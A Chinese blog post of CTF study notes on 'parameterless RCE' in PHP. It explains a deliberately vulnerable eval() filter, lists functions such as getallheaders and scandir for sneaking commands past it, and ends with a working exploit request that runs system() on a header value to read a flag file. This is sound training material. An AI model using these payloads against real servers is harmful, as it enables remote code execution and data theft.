无参数RCE

Posted 2024-11-12 Updated 2025-11- 8

By Administrator

26~34 min read

参考：RCE篇之无参数rce - 学安全的小白 - 博客园 (cnblogs.com)

基础代码

`<?php`

`highlight_file(__FILE__);`

`if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {`

  `if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){`

    `eval($_GET['star']);`

  `}`

`}`

简单来说就是对传入的参数正则替换，只要是数字、字母、下划线都会被其换成空

\W==>匹配字母、数字、下划线等价于^A-Za-z0-9_(?R)?==>递归整个匹配模式

a(b(c()));可以使用，但是`a('b')`或者`a('b','c')`这种含有参数的都不能使用,也不能使用a(b).所以我们要使用无参数的函数进行文件读取或者命令执行

还要考虑的问题是，参数怎么传进去

1.getallheaders()&apache_request_headers

getallheaders()是后者的别称，该函数只能在apache环境下使用

作用：获取全部http请求头信息，以数组的形式返回，可使用var_dump打印出来

2.配合的函数

数组操作类：

current():返回数组当前元素的值

next():数组内部指针指向下一个

prev():数组内部指针指向上一个

reset():数组内部指针指向第一个

each():返回当前元素的键名和键值，并将内部指针向前移动高版本的php可能已经废除了

end():返回数组的最后一个

implode:建一个一维数组转化成字符串

array_values():返回数组的键值，不返回键名创建数组需要$a=array("Name"=>"Peter","Age"=>"41","Country"=>"USA");

array_pop():删除数组中的最后一个元素,并返回该元素

array_reverse():

pos():输出数组中的当前元素的值

由于eval、system等函数需要字符串作为参数，所以使用getallheaders()后需要相关函数转换成字符串

文件读取类：

hightlite_file()

shouw_source

readfile()

字符串

strrev()：反转给定字符串

3.get_defined_vars()

getallheaders的替换，无限制

返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户定义的变量。

<?php
$b = array(1,1,2,3,5,8);

$arr = get_defined_vars();

// 打印 $b
print_r($arr["b"]);

// 打印 PHP 解释程序的路径（如果 PHP 作为 CGI 使用的话）
// 例如：/usr/local/bin/php
echo $arr["_"];

// 打印命令行参数（如果有的话）
print_r($arr["argv"]);

// 打印所有服务器变量
print_r($arr["_SERVER"]);

// 打印变量数组的所有可用键值
print_r(array_keys(get_defined_vars()));
?>

输出：

4.scandir()

返回指定目录的文件和目录，可以配合getcwd()

当使用print_r(scandir(getcwd()));会返回以下内容

5.localconv()

返回包含本地数字及货币格式信息的数组

[decimal_point] - 小数点字符
[thousands_sep] - 千位分隔符
[int_curr_symbol] - 货币符号 （例如：USD）
[currency_symbol] - 货币符号 （例如：$）
[mon_decimal_point] - 货币小数点字符
[mon_thousands_sep] - 货币千位分隔符
[positive_sign] - 正值字符
[negative_sign] - 负值字符
[int_frac_digits] - 国际通用小数位
[frac_digits] - 本地通用小数位
[p_cs_precedes] - 如果货币符号在一个正数值之前显示，则为 True（1），如果在正数值之后显示，则为 False（0）
[p_sep_by_space] - 如果在货币符号和正数值之间包含空格，则为 True（1），否则为 False（0）
[n_cs_precedes] - 如果货币符号在一个负数值之前显示，则为 True（1），如果在负数值之后显示，则为 False（0）
[n_sep_by_space] - 如果在货币符号和负数值之间包含空格，则为 True（1），否则为 False（0）
[p_sign_posn] - 格式化选项：
0 - 把数量和货币符号写在圆括号内
1 - 在数量和货币符号之前加上 + 号
2 - 在数量和货币符号之后加上 + 号
3 - 直接在货币符号之前加上 + 号
4 - 直接在货币符号之后加上 + 号

可以使用返回的第一个点作为代表当前根目录的点

题目

1.2023newstarctf-R!!C!!E!!

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

payload:

为什么参数处理还要一个eval

如果只是一个:eval(array_pop(array_values(getallheaders())))==>system('ls'); 所以还得再加一层才能把语句之形成PHP代码

2.第七届浙江省大学生网络与信息安全竞赛


GET /?code=system(array_pop(array_values(getallheaders()))); HTTP/1.1
a:cat ../f14g.php
Host: 10.1.101.31
Connection: close
Content-Type:aaa
Content-Length: 14

adsfsfdghfghgj

网络安全

License: CC BY 4.0